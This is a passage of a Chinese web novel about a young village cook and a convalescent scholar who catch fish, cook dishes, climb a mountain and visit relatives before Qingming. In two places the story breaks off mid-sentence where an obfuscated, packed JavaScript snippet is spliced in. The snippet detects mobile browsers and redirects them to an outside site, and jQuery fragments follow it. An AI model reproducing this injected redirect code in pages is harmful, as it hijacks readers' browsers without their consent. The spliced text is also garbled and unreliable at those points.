卫昭却是十分笃定地开口:“她是因为你是个秀才公。” 每次见到楚恒都叫一声“秀才公”,梨花嫂子的心思不要太好猜。 楚恒不解:“为何?”秀才公也不是官绅,梨花嫂子每次那么客气的样子,都像是想把他供起来。 “因为卫丰宝啊。” 卫丰宝今年六岁,正是个上学堂启蒙的好年纪,楚恒可是这十里八村里唯一的秀才公,更别提人家还在外面闯荡了那么多年,那学问指不定比镇上小学堂里的夫子都高呢。 楚恒刚回乡,很多东西都不了解,卫昭细细地说给他听:“原本隔壁村的小学堂因为夫子年纪大了,身子不好,便不办了,周围几个村里的孩子现在都没有学上,而镇上的小学堂也不算大,收的学生也不多,上溪村里现在很多适龄的小孩都没办法上学。” 春林镇算不上很大的镇子,但经济条件却也还可以,周围几个村子靠山吃山靠水吃水,整体来说日子都过得还尚可。 于农家人而言,既然能吃饱喝足,那最重要的事便是读书了,这是他们期盼改变自身,能走的最像坦途的一条路。 这小学堂一没了,孩子也无法启蒙,等到了年纪,哪怕有学府招生,这些孩子也没了机会。 楚恒是个秀才公,不说别的,给孩子启蒙却是绰绰有余了。 所以不止是梨花嫂子,村子里有孩子的人家其实都盯上了这个香饽饽。 就是这个“香饽饽”看着身体不太好,还整日躲在家里不出门,他们也不好意思上门去求人。 楚恒恍然,怪不得他这几日给卫昭家干活,路上只要遇到人,便有人跟他打招呼,其实很多新面孔他根本就不认得。 了解了这些,他倒是坦然了,至于给孩子启蒙的事,他如今并没有什么想法。 这副身子也不知还能撑多久,若给了希望,又带来了绝望,只怕会耽误这些孩子。 没听到楚恒说别的,卫昭识趣地转移了话题,正好放笼子的地方到了,卫昭指了几个地方,十分自然地安排楚恒干活:“楚恒哥,你帮我把那几个笼子收上来,注意点脚下,别滑倒了。” 嘴里喊着哥,语气却跟哄孩子一样。 楚恒有些无奈,却也是跟着照做。 卫昭一共放了五个笼子,各个入手都还挺沉。 本以为是个轻松活计的楚恒默默挽起了袖子。 而卫昭则开始收自己撒的网,小小的一个,拖着比她人大了不少的渔网一步一步地往河岸走。 楚恒听见声音抬头一看,手下一松,差点给笼子里的王八放生了。 他下意识搂住,转身放到岸边,快步走向卫昭,语气有些急: “怎么不叫我?” 他抓住渔网一角,跟着使力, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901519|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人一起往岸上拖。 再如何,楚恒也是个男子,力气还是有的,卫昭确实轻松了不少。 她擦了把额头上的汗,转头扬起笑脸,向楚恒道谢,却敏锐地从他面上的情绪里看出他好像有些不高兴。 她语气有些迟疑:“你怎么了?” 楚恒摇摇头,又去收他的笼子。 卫昭有些茫然地眨了眨眼睛。 渔网里的鱼扑腾了两下,卫昭只得蹲下身子,开始收拾。 她运气还算不错,得了好几条半大不小的鱼,剩下的都是些田螺和小鱼虾。 卫昭把小鱼苗又放回了河里。 楚恒收的笼子里虽然数量不多,但是有不少好货,有两个甲鱼,还有好几条黄鳝。 看得卫昭喜得见牙不见眼,今天中午可以吃顿好的了。 楚恒见此,心中堵的那股气莫名就散了。 见卫昭拿出了菜刀和剪刀准备杀鱼,他也开始跟着打下手。 卫昭一边利落地杀鱼,一边拿小眼神不停地瞅他,几次之后,楚恒只好开口问道:“怎么了?” 不知道的还以为卫昭是把他当成手里的鱼了呢。 卫昭见此,立马“嘿嘿”笑了一声,说道:“你不生气啦?” 直白的话语让楚恒一时不知道该说些什么。 卫昭自觉在这段时间的思考中深刻认识到了自己的错误:“我不是故意不喊你帮忙的,只是以前收笼子收网就经常是我一个人干,我都习惯了,一时间没想起来要喊你。” 收笼子总归比收网轻松些,她还真没想起来其实两个人可以一起干。 可她的做法却无意间会让人多想,让楚恒觉得,她是不是也觉得他没什么用处。 她的眼神清澈到让楚恒有些自惭形秽,他道:“我不是生你的气,是生我自己的气。” 气自己总是麻烦别人,却帮不上什么忙。 卫昭此刻十分清楚地感知到了他未尽的话语,连忙摆手,一手剪刀一手“开膛破肚”的鱼,她急忙说:“你可厉害了,而且这几天都在帮我家的忙……” 这幅样子突然逗笑了楚恒。 卫昭一呆,嘴里也不知道该说些什么了,村里的伯娘婶子说的还挺对,书生笑起来确实和村里的农家汉子笑的不一样,还怪好看的。 楚恒看着这般模样的卫昭,眸中笑意不禁更深了几许。 “好你个卫昭昭,来河边收笼子竟然不喊我们!” 卫吉祥刚爬过河堤,远远就看见在河边蹲着的卫昭和楚恒,张嘴就是一声大喊。 对面的两人顿时被他惊回了神。 卫昭拒绝被冤枉:“谁说我没喊了,我路过你家门口的时候,正好听到伯娘骂你好吃懒做,睡觉睡到把早饭都睡过去了还不起。” 卫吉祥恨不得把她的嘴给堵上,奈何两人现在的距离太远了。 他四处张望,生怕被村里其他的人听见,传出去他还怎么娶媳妇?! 卫吉勇大大方方地往卫昭二人那边走。 反正昭昭姐只说了他哥,又没说他,跟他有什么关系。 13. 酱汁活鱼 第13章 今日网到了一尾大鲤鱼,卫昭准备做一道酱汁活鱼,正好家里腌制的面酱还剩了不少,等五月收麦就要炼制新的一批了,这一批剩下的要赶紧吃完。 鱼好做,东坡肉却不好炖。 那上好的五花肉,不炖上一锅熟烂的东坡肉,可真是对不起它的品质。 五花肉切成大块,冷水下锅,焯水洗净,再用饴糖炒个糖色,皮朝下放入专门的砂锅里,再加上酒酿和足量的水。 将小炉子放在院子里,任它咕噜上一个时辰。 慢着火,少著水,火候足时它自美。① 这么一道大菜炖上,剩下的便好处理了。 将黄鳝这种滑不溜秋的东西果断甩给那三人,卫昭便去找她做酱汁活鱼需要的调味料。 因为怕一不留神就被黄鳝溜了,所以这几条都是拿回家来处理的。 楚恒同卫吉祥、卫吉勇三人围着装黄鳝的木盆蹲着,那边兄弟俩下手快狠准,一人掐住了一条。 楚恒也有样学样,一手下去,空空如也。 卫吉祥和卫吉勇默默偏头,有点想笑,但好像不太好。 楚恒甩了甩手上的水,再次看着他们掐着黄鳝的手势,又尝试了两次,终于抓住了。 不过这东西看着确实不怎么讨喜。 楚恒突然有点理解了卫昭刚刚那带了点嫌弃的表情。 他跟着卫吉祥和卫吉勇学着处理,开膛破肚的时候就想,这黄鳝落在他手里也是运道不太好。 其他人是手起刀落,应当是没什么痛苦的,他一下杀不死,还得多来几剪子,开膛破肚还没其他人好看。 楚恒对着手里那被戳了个洞却依旧在抽搐着的鳝鱼兄默默道了句歉。 卫吉祥是个不放过任何可以显摆他自己的人,故意把他和楚恒杀的黄鳝放在了一起。 楚恒:…… 樊桂花看得一乐:“没事,多杀几次就熟练了,昭昭以前根本就不敢碰鳝鱼、泥鳅之类的东西。” 小丫头从小就开始练厨艺,各个食材都处理得当,唯独这跟蛇长得有点像的鳝鱼、泥鳅杀不来,每次总要撒娇耍赖丢给自己爹娘。 不过后来,她终究还是学会了自己动手。 忆起曾经,樊桂花心中思绪万千,五味杂陈,却也没有表现出来。 事情已经过去了,说再多,不过是徒增伤悲罢了。 她转身去拾掇院子里的小菜园子去了。 日子总是要继续过下去的。 楚恒看了看离开的樊桂花,又看了看在灶房里转圈忙碌的卫昭,垂眸若有所思。 突然一个张着大嘴的鳝鱼头出现在他眼前,将楚恒吓了一大跳,而卫吉祥则是一脸得逞的坏笑。 楚恒无奈地想抚额,却嫌弃自己一手的鱼腥味。 怪不得卫昭昭和卫吉勇总是对他以下犯上又打又骂,这卫吉祥确实是有些欠打了。 卫吉祥浑然不觉,还在那笑着问他:“想什么呢,这么出神?” 楚恒转身背对着他,一副拒绝沟通的样子。 卫吉勇无情嘲笑:“哥,你被嫌弃了!” 卫吉祥翻他一个白眼:倒霉弟弟。 外面的这些事卫昭在灶房里隐约能听到,多少能猜到发生了什么。 从门口看了一眼楚恒那生闷气的样子,她竟觉得有些好玩儿。 这人可比他刚回来的时候“活泼”多了。 见他们把黄鳝都处理的差不多了,卫昭撸了撸袖子,将那条处理完了也有三斤多重的鲤鱼甩在案板上,在鱼身两面每隔一指宽便来上一个斜一字花刀。 待锅中热水沸腾,她一手提鱼尾,一手拿汤勺,迅速将鱼烫成了刀口张开的模样。 而后又在另一口旺火灶锅里依次放入猪油、白糖和面酱进行炒制,待闻到面酱里的生酱味去的差不多了,再往锅里倒入清水开始熬汤。 等汤咕嘟咕嘟地开了,卫昭拾起锅边的调料罐子,用挂在罐子口的小勺子舀出适量的酒酿和酱油加入汤里调味,最后再将那条烫好的大鲤鱼放进去焖煮。 卫昭的动作行云流水,游刃有余,热水滚油里翻转食材,却不见一丝慌乱,整个人透着一股别样的自信与从容。 楚恒一时间看得入了神。 他不知别人做饭时是什么样子,可这样的卫昭却格外的吸引人。 酱汁活鱼需要小火慢炖一刻多钟,卫昭转身准备处理别的食材,就见楚恒站在门边发呆。 她顺嘴便喊道:“过来烧火。” 说完就意识到不对,这人不是卫吉祥和卫吉勇,那两人被她使唤惯了,而且在家中也经常烧火做饭,都是熟手。可这人上次那出“狼烟四起”却是依旧是让她心有余悸。 卫昭想反悔的话还没说出口,楚恒就已经乖乖地坐到了灶台前,开始添火。 卫昭一时间心中有苦难言,只能默默祈祷她这条鱼能安然出锅。 见楚恒还要往灶膛里面堆木柴,卫昭立刻道:“不用放太多,鲤鱼需要小火慢炖,及时添一两根木柴让它在那烧着就好。” 她将另一口锅里过了鱼的清水舀干净,重新将锅洗刷了一遍。 那边卫吉祥将洗好的黄鳝也给她摆在了案板上,卫昭扯了块粗布将黄鳝擦干净,再切成均匀的寸段。 叮嘱好楚恒这口锅用大火,卫昭将用到的葱姜蒜泥等调味料依次在锅台摆开,等铁锅烧热,便舀上一勺猪油在锅中化开,将葱姜蒜爆香,再将鳝鱼段煸炒至边缘微焦。 此时鳝鱼的香味已经被激发了出来,楚恒不禁抽动鼻子细嗅了几下。 卫昭却是沉稳得很,沿着锅边烹入黄酒,那一勺酒下去,香味瞬间扑鼻,竟让人有了几分醉意。 这酒的后劲儿够足,舅舅应当会很喜欢。 有些微晕的楚恒这般想到。 烟火缭绕中,他看着卫昭依次将其他调料加入锅里。 她嘴角含着几分笑意,头上做活时戴着的布巾包不住的几丝碎发调皮地垂在她的侧颜,让这个年纪尚小的小村厨更添了几分柔婉。 良久,楚恒移开了视线,眸中却带着几分茫然地,伸手捂住了心口。 那里酥酥麻麻,有些难受。 “……楚恒哥!” 卫昭伸手在楚恒眼前晃悠,终于把这人的魂给叫回来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15901520|176659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她有些疑惑:“你怎么了?身体不舒服吗?” 楚恒有些不敢看她,只摇摇头:“没有,刚刚在想一些事情。” 不待卫昭再细问,他便先道:“叫我是要做什么?” 卫昭眨了眨眼,“哦”了一声,一手指着已经盖上盖子的锅说道:“鳝鱼炒好了,转成小火慢慢煨熟就可以了。” 楚恒应了声“好”,将灶膛里烧的木柴抽出来了两根,摁在下面的草木灰里熄灭,锅底的火立刻小了许多。 见他好像真没什么事,卫昭便抓紧时间去收拾别的菜。 今日她本想着要不要包个饺子,不过昨天胡娟提前说了,她要包荠菜包子,到时拿来给大家当主食。 卫吉祥和卫吉勇被她撵来卫昭家帮忙,这个时间也不知道她忙没忙完。 心里想着这些,卫昭手上却也没停地打了好几个鸡蛋。 家里的老母鸡最近也不怎么下蛋了,只进不出的,卫昭又开始盘算着什么时候把老母鸡给炖了。 许是感知到了自己的命运,鸡窝里传来了一声嘹亮的嚎叫。 正眯眼打盹儿的三斤被惊醒,顿时吼了回去。 干啥呢?敢打扰小爷睡觉,是不是又忘记谁是这个家里的老大了? 不知道小爷我正被这满院子的香味勾的心烦吗! 能闻不能吃,狗爷心里的苦谁知道呢? 自家狗子有多馋卫昭还是知道的,瞥见柜子上的挎篮里还盖着的几根大骨头,卫昭一拍脑门,懊恼道:“怎么把这个给忘了。” 她几步走到门边,冲着外面喊:“勇子,过来帮忙。” 等人过来了,她把骨头递了过去,又推着人往外走,嘴里念叨着:“廊下放着把柴刀,去帮我把骨头都从中间劈开。” 这骨头上也没什么肉,不然卫昭说什么都不会要。 不过骨头里面的油却也是个好东西,炖菜可香了。 正好地窖里还有几颗冬天储存的白菜,等会儿再让吉祥哥去村头看看豆腐婶子家今天还有没有剩的豆腐,做一锅大骨汤炖的白菜豆腐,指定很香! 又解决了一个菜,卫昭心里顿时更美了。 心里掐着时间,卫昭隔一会儿便要看看鲤鱼和黄鳝有没有糊底。 等鲤鱼炖的汤剩的差不多了,卫昭便让楚恒将火烧大。 她小心地将鱼捞出来装盘,又将锅里的汤不停地烧火搅拌,等浓稠度差不多了,她滴上香油,将汤浇回了鱼身上。 一道酱香浓郁的酱汁活鱼终于出锅了! 鱼的鲜香配上酱香奇袭着人的嗅觉,那红润的色泽更是勾的人不由得食指大动。 就在这醉人的浓郁香气里,另一股鲜美的味道也悄悄浸润着灶房里的每一个角落。 红烧鳝鱼也做好了。 卫昭起锅装盘,还在鳝鱼段上撒了点小葱叶当做点缀。 楚恒整理着灶膛里的火,担心把锅烧穿了。 等他忙完,一抬头,一块色泽油润的鳝鱼段便出现在了他的眼前。 卫昭笑眯眯地道:“鲤鱼是整个的,不好分,就只能请你帮我尝尝这鳝鱼做的如何了。” 14. 东坡肉 卫昭把夹着的鳝鱼段放到碗里,给楚恒递了过去。 鳝鱼还冒着热气,入口有些烫,浓油赤酱的口感瞬间霸占整个味蕾,细细咀嚼几下,那属于鳝鱼的鲜味又扑了上来,让人不由得享受地眯起了眼睛。 一块鳝鱼段也不大,很快便吃完了,楚恒显然有些意犹未尽。 见卫昭还在笑意盈盈地看着他,他一时有些赧然,却也不吝啬地给出了自己的评价:“鲜香袭人,很好吃。” 卫昭有些得意地扬了扬眉毛:果然,没有她小村厨的手艺拿不下的人! 这副孩子气的样子看得楚恒有些好笑。 “昭昭姐,骨头我收拾好了,放哪里啊?” 卫吉勇端着一盆洗干净的大骨头走了进来,嘴里问着话,眼神却不自觉移到了那两道刚出炉的菜上。 他“咕咚”一下咽了咽口水,好饿,好想吃。 卫昭接过那些大骨头放在了灶台上,准备一会儿在锅里添水炖大骨头。 看见卫吉勇那副馋样儿,她不由得被逗笑了,重新拿了副干净的碗筷给他分了一块鳝鱼段。 “不许多吃,一会儿吃饭的时候再多吃些。” 卫吉勇头也不抬地“嗯嗯”应着。 楚恒的眼神落在他身上,里面明晃晃地写着:还想吃。 这眼巴巴的模样还真有些可怜,卫昭转身又给他的碗里夹了一块。 见楚恒看过来,她将食指竖在嘴边,示意他噤声。 楚恒唇角不由得勾起一抹笑。 他有两块。 灶膛里的火焰烹煮出人间抚慰人心的烟火气,氤氲着凡人内心深处最温柔的慰藉。 锅盖掀开,清炖的大骨汤散发着诱人的香味,让正端着一笸箩荠菜鸡蛋大包子进门的胡娟不由得深深嗅了几下。 这味道,真香啊! 这汤里还透着白菜和豆腐的清香,光是闻着,胡娟就觉得自己能干掉三个大包子。 她刚一拐进院子,就见她那俩没出息的儿子正蹲在灶房门口眼巴巴地看着。 那副馋猫样儿,她这个当亲娘的都没眼看。 同样没眼看的卫长福狠狠咳了一声,结果俩儿子没一个有反应的,他直接上去一人给了后脑勺一下。 “瞧你们这没出息的样儿!” 倒霉大儿子捂着脑袋反问他:“爹,你难道不觉得香?” 卫长福背着手溜达着进堂屋,嘴上回道:“昭昭做的啥不香?” 樊桂花正在里面收拾一会儿吃饭用的方桌,见他们夫妻来了,还往后面瞅了一眼,问道:“你们爹呢?” 卫长福让她去一边歇着,自己动手边收拾边回道:“他的背篓就还差个收尾了,一会儿编完了就过来。” 卫大平有一手编织的手艺,两家的背篓都是他做的,平日里用的一些木碗、竹筒之类的也会做。 做的多了就拿去镇上卖,也能给家里添个进项。 樊桂花点了点头,她这小叔子还是一如既往的手巧。 方桌收拾好了,卫长福对院子里喊了一嗓子:“过来搬桌子。” 卫吉祥和卫吉勇“噌”一下便蹿了进来。 搬好桌子就等于要上菜了,上菜就等于开饭! 人多的时候都是在院子里吃,方桌摆上,椅子不够就拿木墩来凑。 卫昭炒好的菜依次被端上桌,而今日的大头,那炖了将近一个时辰的东坡肉也终于现出了它那庐山真面目。 明汁亮芡,甫一出锅,那红润的色泽便让人眼前一亮。 它一上桌,所有人都不由得朝它下筷。 一口下去,肥而不腻,酥烂软糯。 满嘴都是肉香味,令人回味无穷。 卫吉祥毫不吝啬地冲卫昭竖起了大拇指:“昭昭,你这道东坡肉做的太好了,御厨都没你做得好。” 卫昭“切”了一声:“你又没吃过御厨做的,你怎么知道?” 卫吉祥不管这些:“我是没吃过御厨做的,但我吃过你做的,你这道菜做的,我觉得已经是……那个词儿怎么说的来着?” 他拍了拍脑门,“登峰造极!对,就是登峰造极,谁也比不过你。” 一桌子人都被他逗笑了,唯有真的吃过御宴的楚恒默默点头,深表同意。 卫昭小小年纪便有这等手艺,若能好好培养,卫家未必不能成为下一个御厨世家。 一群人说说笑笑,一顿饭吃了许久,吃到一旁抱着骨头啃了半天的三斤都困了,这才散去。 晚间不太饿,楚恒只用小炉子熬了一碗薄粥,吃完他便躺在了摇椅上,在廊下看着一望无际的夜空。 今日的天幕被乌云遮盖着,不见明月,也没有星辰。 明日应该有雨。 春雨贵如油,这一场雨下来,刚下了肥的庄稼地,应当能再拔高几分。 算算日子也快到清明了。 是该下雨了。 他心中萦绕着百般思绪,最后却定格在了白日里卫昭那双带着盈盈笑意的双眼上。 他心中莫名一颤,只觉得自己应当是累到了,该洗洗睡了。 半夜滴滴答答的雨便开始落下,第二日也淅淅沥沥了一天未停歇。 热闹的村子安静了不少,忙碌了几天的村民闲在家里,正好休息。 卫昭蹲在廊下分着菜种,准备等雨停了便种上。 家里留的菜地多,每年要种的菜不少,又是一番大工程。 分拣完了,她盯着远处雨雾朦胧的雀儿山,总觉得山比之前绿了一些。 她头也不回地冲屋里喊:“奶奶,明日雨停了我要进山。” 二月底三月初正是野菜疯长的时候,这雨一下,山上不知要多出多少野菜和菌菇来。 樊桂花搓着手里的线,点了点头:“去吧,跟着吉祥和吉勇,不许自己一个人跑。” 平日里在山脚转悠,带着三斤就好,但进深处,樊桂花总是不放心她一个人去。 卫昭乖乖点头:“知道了,我把楚恒哥也叫上。” 前几日答应了带他进山的。 樊桂花手上的动作顿了顿,到底没说别的,只道:“那你们别待太久,小恒身体不好,容易受凉。” 卫昭一一应下。 等傍晚雨停了,卫昭喊着三斤出门,去找那三人约好明日进山的时辰。 乌云散尽,星河流转,次日是个大晴天。 一早出门上山的人有不少,卫昭揣好刚烙好的葱油饼,拿着工具便出门了。 等人聚齐了,她一人分 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卫吉祥认命地跟着往山顶爬,嘴上却不饶人:“大姑娘家家的,撒什么娇?你平时那虎了吧唧的劲儿呢?” 卫昭恨不得一背篓扣他脑袋上,说谁虎了吧唧呢! 好不了半刻钟的兄妹俩又闹起来了。 楚恒看了眼卫昭揪着卫吉祥袖子的手,他其实也觉得刚刚她是在撒娇。 那般小女儿姿态,他其实以前见过,却还是第一次在卫昭身上看到。 总觉得有哪里不一样。 不等他细想,卫吉勇托了托他的背篓,问道:“楚恒哥,要不要把东西给我,上山还有一会儿呢。” 楚恒摇了摇头:“不用,我这里面没多少东西,这点分量我还是撑得住的。” 他倒是没说谎,前几日帮卫昭家送饭,锻炼的他的身体比之前强了几分,而且他手速慢,背篓里的东西还没半满,背上山应当不成问题。 他这样说了,卫吉勇便收回了手,跟在他后面走着,想着等人撑不住了便搭把手。 雀儿山并不高,他们从半山腰处爬到山顶用了半个多时辰,若是天气好,路更好走,应当会更快一些。 山上有块光秃秃的大石头,卫吉祥一到山顶便趴了上去,卫吉勇也找了个地方坐着歇脚。 卫昭放下背篓,站在山边远眺。 她深深吸了一口气,只觉得神清气爽。 不管看多少次,这雀儿山顶的风光她总是看不腻。 卫吉祥就很不解:“这么多年了,一年四季都是这样,有什么好看的?” 卫昭反驳道:“才不一样呢!每一场雨过后不一样,每一个晴天也不一样。” 卫吉祥跟着瞅了几眼,还是看不出哪里不一样。算了,他还是继续去躺着吧。 倒是楚恒,学着卫昭的样子,放下背篓走到山边,入眼,便是大半个春林镇。 这里能将上溪村的三条主街看得分明,此时他才清晰明了,他出生的上溪村,到底是经历了怎样的变化。 而且,看样子,附近的几处村子应当都迁动过。 可大体上,他们都是没变的,依旧保留着当年的影子。 15. 如意酒家 山爬到一半,原本活泼的孩童开始耍赖,坠着爹的手求背。 等爹无奈答应,没等他蹲下,小孩便一骨碌顺着他的身体爬了上去。 灵活的像个小猴子。 趴在爹宽阔的后背上,他扭头看着笑的眉眼弯弯的娘亲,伸手指向山顶,顿时豪情万丈: “冲啊!” 等到了山顶,爹娘相携望着远方,他不知远处有什么好看的,让俩人这般高兴。 眼睛一转,又开始缠着爹娘要背要抱,甚至还想骑到爹的脖子上。 他想,许是因为爹娘比他高,所以看到的才不一样…… 而如今,他站在这里,已经够到了当时年少不可及的风景,只是……故人不再。 四人就这么安静了下来,或躺或坐或站,望着自己眼中的风景出神。 春日清晨的山顶还是很冷的,凉风一吹,卫昭不禁打了一个寒颤。 她转头看向楚恒,见他脸色有些苍白,担心待久了这人又病了,她便提议下山。 楚恒有些不舍。 卫昭道:“过些时日天暖和了,我们可以一起来看日出。” 这雀儿山的日出她看过许多次,从来也看不腻。 日光打在她的身上,卫昭笑容明媚的就像这头顶的朝阳。 晃得楚恒如受惊般移开了目光。 他只觉得自己这几日有些奇怪,却不敢探究原因。 上山容易下山难,加上几人沿路要采野菜和蘑菇,所以速度并不快。 过了半山腰,卫昭正摘着野菜,远远便听见了熟悉的狗叫声。她循声望去,没多久,就等到了来寻她的三斤。 三斤拿脑袋顶了顶她伸出来的手,似是在诉说着自己的不满。 卫昭哄道:“今日去了山顶,不是来打猎的。” 她揉了许久的狗脑袋才将这位大爷给哄好。 狗爷心情好了,转身便扔下主人跑了。 卫吉祥捏着下巴沉思道:“我觉得三斤又要去逮兔子了。” 卫吉勇眼睛一亮:“那能吃兔肉了?” 卫吉祥给了他脑袋一巴掌:“就知道吃,兔子那是要拿去卖钱的。” 卫吉勇委屈地“哦”了一声,转身又去摘野菜了。 不给吃就不给吃呗,打人干嘛! 不多时,一阵急促的狗叫声传来,卫昭三人拎起背篓转身就跑,徒留楚恒一人留在原地满眼茫然。 还是卫昭意识到不对,折返回来,拽住他就走,边跑边解释:“三斤这般叫就是在说它找到猎物了,喊我们去帮忙。” 楚恒跟着跑,后知后觉地感到手腕处传来的温暖。 果不其然,等他们到那,就见三斤正弓着身子,与卫吉祥和卫吉勇成三方围堵的架势,堵住了一只肥硕的野鸡。 野鸡凶得很,攻守双方谁也不敢有丝毫懈怠。 卫昭和楚恒也跟着加入围捕。 许是看出楚恒应当是几人里面最弱的那个,那野鸡鸣叫一声便冲着他飞了过去,准备从他这里突围。 原本伏地的三斤猛的蹿了起来,一蹦老高,咬住野鸡的翅膀将它摁在了地上。 楚恒:…… 长这么大这种事还真没经历过。 那边三兄妹掏出绳子把野鸡绑了起来。 三斤昂着脑袋冲他走了过来,那架势,好似一个刚刚得胜还朝的将军。 见楚恒只是站在那里看着它,三斤又在他眼前走了一圈。 楚恒迟疑了一会儿,蹲下来揉了揉它的脑袋,轻声道:“多谢。” 手下那油光水滑的脑袋顿时昂的更高了。 楚恒觉得自己发现了什么不得了的东西。 他一时失笑,手上顺着三斤撸毛的动作却越发温柔,手感确实极好。 他保证道:“过几日我买些肉骨头去看你,如何?” 三斤的眼睛在听到“肉骨头”后瞬间就亮了。 不错不错,这个人真上道。 卫昭看了个全程,失笑道:“你别太惯着它,三斤可会顺杆爬了。” 这次是一顿大骨头,下次少于两根大骨头它就要翻脸了。 楚恒倒是觉得还好,这般灵性的田犬他还从未见过。 有灵性的三斤又昂着脑袋回了村,身后跟着它的四个小弟。 野鸡被剪了尾巴和翅膀,单独关在一个笼子里暂时养着。 卫昭又去看了看养了两天的田螺,见吐泥吐的差不多了,准备明日一起送走。 清明螺,肥过鹅。 每当这个季节,镇上的饭馆总是要收一批田螺的,卫昭也能靠着这个生意挣上一笔。 前日还得了两只甲鱼,卫昭准备一只留下继续养着,一只和野鸡一起拿去卖了。 毕竟这般滋补的食材也不常见,总得留下一只给家里人补补。 又估摸了一遍地里的菜种够不够用,还要再添点什么,忙忙碌碌的一天又要过去了。 第二日一早,卫昭栓上牛车,把她家和卫吉祥家要带去镇上卖的货全部装车。 卫吉祥甩了下鞭子,赶着牛车往楚恒家赶。 昨日下山时他们曾说起今日去镇子的事,临分开前,楚恒说他也想去,今日他们的队伍里便多了一人。 赶着牛车到了镇上,几人先去了如意酒家的后门口。 后门掩着,卫昭上前敲了几下门,很快便有人应声而来。 王掌柜的一见几人便笑了:“是昭昭啊,好些日子不见了。” 卫昭笑眯眯地叫人:“王伯,我来给您送货了。” 卫吉祥和卫吉勇也跟着叫了声“王伯”。 隐在最后的楚恒被那三兄妹的目光盯着,最后也顺着他们开口叫了人。 王元灿看着眼前这个一身贵气的青年,心中满是诧异与疑惑,春林镇何时来了这般俊秀的后生? “这是?”他迟疑问道。 卫昭给他们互相做了介绍:“这是我们上溪村的楚恒,近几日才回乡,您以前没见过。” “这是如意酒家的掌柜王伯,王伯可照顾我们的生意了。” 最后这句话可把人给逗笑了,王元灿点了点她:“你这丫头,可别哄我,待会儿的货我可是绝对要仔细验的。” 卫昭只嘿嘿的笑,“您请。” 看得出,几人关系很好。 等到离开,卫昭才仔细说了这如意酒家。 “王伯本名叫王元灿,是这家酒楼的掌柜,算账在春林镇是一绝,一分一厘 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可惜……再也没有机会了。 卫昭收回了视线。 牛车踢踏着往前走,楚恒看着突然静默的卫昭,不由得有些担心,想要说些什么,袖子却被拉了一下。 看了一眼给他使眼色的卫吉祥,他没再开口。 几人就这样一直沉默到了源昌货行。 楚恒看着门口那个有些陌生却又熟悉的身影,在对方看过来时,拱手作揖。 目光垂下,不敢直视叔父的眼神。 张源昌快步走近扶起他,细细地打量着楚恒,一个蓄着胡须的高壮汉子,此刻已然红了眼眶。 “长大了,都比叔父高了。” 他张了张嘴,却不知道该问什么,只不住地念叨着:“回来就好,回来就好……” 楚恒亦不知该说些什么,这旧人旧事,总让人的心口泛着生疼。 张源昌拉着人进屋,边走边说:“我本想去看你,但昭昭说你身体不好,前段时间还大病了一场,恰巧我有一批货出了问题,一耽搁就到了现在,你现在身体如何?” 楚恒看了卫昭一眼,回道:“已经大好了,多亏了桂花奶奶他们看顾。” 张源昌便笑:“有他们在我自然是放心的,若非生意割舍不下,我必是要去上溪村住着,昭昭的手艺可是让人想念的紧。” 说笑几句,几人进了堂屋坐下。 张源昌问起几人为何今日进城,今日并不是逢集日。 卫昭她们是为了卖东西,还给张源昌家留了几斤田螺。 李荷花也不跟她们客气,收了田螺,转头又给他们的牛车上塞了不少山货,“都是你叔从别的地方倒腾过来的,咱这边少见,留着回家慢慢吃。” 这么多年,几家有来有往,倒也不必再客气推让。 只是卫昭她们并不知道楚恒今日来镇上的目的。 父亲曾经的兄弟问询,楚恒选择实话实说:“来置办些扫墓祭祖用的物什儿。过几日便是清明,我准备给祖父祖母扫墓,顺便……” 他沉默了一下,继续道:“顺便,正式在老宅给我父母立牌位。” 带爹娘回到他们的家。 16. 清明时节 张源昌几次张口,却总觉得喉咙异常艰涩,良久,才问出了他一直想知道的那个问题:“你爹娘他们……究竟发生了什么事?这些年,你又是怎么过来的?” 楚恒沉默许久,缓缓道:“当年我得中秀才,与爹娘回乡祭祖时遭歹人所劫,爹娘为了救我,死在了他们的刀下,我身受重伤,被人所救,一直在外养病,自此再未回乡。” 短短几句话,概括了他那段最至暗的时光。 卫昭默默垂下眼睛,她总觉得,他还有许多未尽的话语。 可他,应当不想说。 气氛一时沉默,张源昌还有很多想问的话,可看着眼前的这个孩子单薄的身形,他什么也问不出来了。 他难受,他痛心,可也远不及楚恒心中的痛。 为人子,却眼睁睁看着父母惨死眼前,只一想想,便已觉痛彻心扉。 而这里还有一个同样失去父母的孩子。 张源昌恨不得指天斥骂不公,为何偏偏让这两家人受这天人永别之苦,留下两个孩子于这世间踽踽独行。 他缓了缓难平的心绪,同他们聊起了别的事情。 午间硬是留了他们一顿饭,在酒楼里定一桌菜,吃完才放他们离开。 临分开前,他拍了拍楚恒的肩膀,说道:“有事就来找我,别怕麻烦。” 楚恒应了一声,拱手道别。 沿街在各种铺子里买好需要的东西,几人这才归家。 一路的沉默,让卫吉祥想调解一下气氛,张了几次嘴都说不出话来。 两个突遭横祸没了爹娘的孩子,说起来就让人觉得可怜。 他干脆加快了甩鞭子的节奏,想要快点到家。 卫昭听着听着就觉得不对劲了:“哥,你慢着点,别把我家牛打坏了。” 卫吉祥:…… 牛兄弟比他的嘴管用多了。 卫昭一开口,那股欢快的氛围就回来了,接下来的路程轻松不少。 